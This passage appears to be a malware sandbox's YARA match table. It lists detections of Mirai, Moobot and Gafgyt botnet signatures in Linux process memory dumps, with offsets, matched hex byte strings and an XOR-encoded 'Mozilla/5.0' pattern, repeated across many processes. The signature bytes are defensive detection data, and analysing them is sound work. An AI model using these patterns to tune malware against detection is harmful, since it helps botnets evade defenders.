78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7238.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7166.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7166.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7166.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7166.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7166.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7166.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6559.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6979.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6979.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6979.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6979.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6979.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6979.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6559.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6559.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7398.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7188.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7188.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7188.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7188.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7188.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7188.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6451.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6369.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6935.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6585.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6585.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6585.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6585.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6585.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6585.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6438.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7197.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7197.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7197.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7197.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7197.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 